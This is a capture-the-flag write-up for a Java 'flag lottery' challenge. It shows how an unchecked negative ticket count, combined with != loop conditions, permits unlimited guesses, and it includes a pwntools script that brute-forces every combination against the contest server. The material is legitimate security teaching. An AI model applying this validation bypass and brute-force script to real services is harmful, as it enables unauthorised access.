# Five Fives writeup by [5225225](https://www.5snb.club) for [BLĂ…HAJ](https://blahaj.awoo.systems) **Pwn/Rev** **476 points** **46 solves** > java SecureRandom is supposed to be, well, secure, right? provided file: ## writeup At first glance, this challenge looks like a RNG prediction challenge, where you need to recreate the seed from the output, and then guess future output. ```java //You'll never find my seed now! int sleep = ThreadLocalRandom.current().nextInt(10000); Thread.sleep(sleep); long seed = System.currentTimeMillis(); ByteBuffer bb = ByteBuffer.allocate(Long.BYTES); bb.putLong(seed); SecureRandom r = new SecureRandom(bb.array()); Thread.sleep(10000 - sleep); ``` The code does manually seed a `SecureRandom` with a predictable input, namely the `System.currentTimeMillis`. There is a 10 second window where the seed could be generated, so there's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clock variance between us and the server, and this is a very doable attack. However, it turns out SecureRandom is only insecure with a given seed on windows. On other platforms, it just reads from `/dev/urandom`, which is secure. Trying the attack fails, even after a few attempts. While looking at the code, you notice the odd writing of the `for` loops ```java for (int i = 0; i != 5; i++) { System.out.print((r.nextInt(5) + 1) + " "); } ``` They use `!=` instead of the more robust `<` consistently. ```java System.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? "); int numTries = Integer.parseInt(in.nextLine()); if (numTries > 20) { System.out.println("Sorry, you don't have enough money to buy all of those. :("); System.exit(0); } ``` Here, they check for going *over* 20, but not under. ```java for (int i = 0; i != numTries; i++) { System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:"); String[] ticket = in.nextLine().split(" "); boolean winner = true; for (int b = 0; b != 5; b++) { if (nums[b] != Integer.parseInt(ticket[b])) { winner = false; break; } } if (!winner) { System.out.println("Your ticket did not win. Try again."); } else { System.out.println("Congratulations, you win the flag lottery!"); outputFlag(); } } ``` Entering a `numTries` of -50000 will let you simply do a brute force attack against every possibility, since -50000 is indeed *not* equal to 0, and you will be incrementing for a long time until 0 reaches -50000. ```python import time import itertools from pwn import * r = remote("challenge.rgbsec.xyz", 7425) r.readuntil("How many tickets would you like to buy?") r.clean() r.send(b"-50000\n") ra = range(1, 6) print(r.clean()) for i in itertools.product(range(1, 6), repeat=5): r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8")) time.sleep(0.01) print(r.clean()) ``` I'm dumping the output of `r.clean()` as I don't know what format the flag will take, so I simply dump this to a file and then grep through it for `rgbCTF`.